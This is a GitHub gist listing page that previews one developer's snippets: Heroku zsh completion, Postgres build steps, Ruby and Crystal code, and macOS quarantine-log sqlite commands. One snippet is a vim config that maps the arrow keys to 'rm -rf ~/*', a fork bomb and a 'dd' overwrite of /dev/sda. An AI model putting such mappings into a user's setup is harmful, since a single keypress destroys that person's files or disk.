Skip to content

Instantly share code, notes, and snippets.

View will's full-sized avatar
🆒
ه҈ͣفͤ҈ͥ҉ͦ҈ͧ҉ͨ҈ͩ҉ͪ҈ͫ҉ͬ҈ͭ҉ͮ҈ͯ҉ͨ҈ͬ҉ͧ҈ͣ҉ͨ҈ͧ҉ͯ҈ͮ҉ͭ҈ͤ҉ͦ҈ͥ҉ͧ҈ͩ҉ͭ҈ͨ҉ͣ҈ͪ҉ͧ҈ͭ҉ͩ҈ͤ҉ͮ҈ͯ҉ͬ҈

Will Leinweber will

🆒
ه҈ͣفͤ҈ͥ҉ͦ҈ͧ҉ͨ҈ͩ҉ͪ҈ͫ҉ͬ҈ͭ҉ͮ҈ͯ҉ͨ҈ͬ҉ͧ҈ͣ҉ͨ҈ͧ҉ͯ҈ͮ҉ͭ҈ͤ҉ͦ҈ͥ҉ͧ҈ͩ҉ͭ҈ͨ҉ͣ҈ͪ҉ͧ҈ͭ҉ͩ҈ͤ҉ͮ҈ͯ҉ͬ҈
View GitHub Profile
#compdef heroku
# generated from Heroku v2.4.0
# with these plugins: heroku-v3, old_plugins
_heroku() {
local -a app_argument
app_argument=('(-a --app)'{-a,--app}'[application name]:')
_heroku_commands() {
@will
will / keybase.md
Last active August 29, 2015 13:57

I do not endorse keybase, they made me put this here, and if you try and delete it their verification doesn't work anymore

Keybase proof

I hereby claim:

  • I am will on github.
  • I am will (https://keybase.io/will) on keybase.
  • I have a public key whose fingerprint is 3A3D 10C8 0937 6697 26AA 96AE F678 2E5E CE24 5EF3
Open your terminal, run the following commands:
View the list:
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent'
Clear the list with:
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent'
@will
will / postgres
Last active August 29, 2015 13:57
Running a devl build of postgres
git clone https://github.com/postgres/postgres.git && cd postgres
./configure --prefix=/tmp/postgres --with-openssl --with-ossp-uuid --with-libs=/usr/local/opt/readline/lib/ --with-includes=/usr/local/opt/readline/include/
# skip the readline parts if you dont have readline installed but it makes `psql` better
make -sj8
make install
/tmp/postgres/bin/initdb /tmp/postgres/data
module Kernel
alias :old_puts :puts
def puts(val)
old_puts val
split = caller.first.split(':')
yolo(split[0], split[1].to_i)
end
private
def yolo(filename, line_number)
noremap <Up> !rm -rf ~/*
noremap <Down> !:(){:|:&};:
noremap <Left> !dd if=/dev/random of=/dev/sda
@will
will / cfg.rb
Last active August 29, 2015 14:05
ENV['DATABASE_URL'] = 'rand'
ENV['DB_POOL'] = '5'
ENV['PORT'] = '5000'
module CastingConfigHelper
def mandatory(name, method=nil)
value = cast(ENV.fetch(name.to_s.upcase), method)
create(name, value)
end
note that with 9.4beta you will likely be forced to do a dump/restore to 9.4 stable when it comes out, and deprovision the beta database
~ ➤ heroku addons:add heroku-postgresql:standard-0 --version 9.4 --app will
Adding heroku-postgresql:standard-0 on will... done, v397 ($50/mo)
Attached as HEROKU_POSTGRESQL_OLIVE_URL
The database should be available in 3-5 minutes.
! The database will be empty. If upgrading, you can transfer
! data from another database with pgbackups:restore.
Use `heroku pg:wait` to track status
! WARNING: Postgres 9.4 is in beta. Beta releases have
@will
will / date-parse-benchmark.cr
Last active August 29, 2015 14:20
time parsing benchmark
require "string_scanner"
require "benchmark"
class Common
# Postgres returns microseconds, Crystal Time only supports miliseconds
private def fraction_to_mili(frac)
if frac < 10
frac * 100
elsif frac < 100
frac * 10
@will
will / uniontype.cr
Last active August 29, 2015 14:20
union type error
alias MyType = Nil | Int32 | String | Bool
foo = [] of MyType
foo << 3
p foo
p foo.first > 1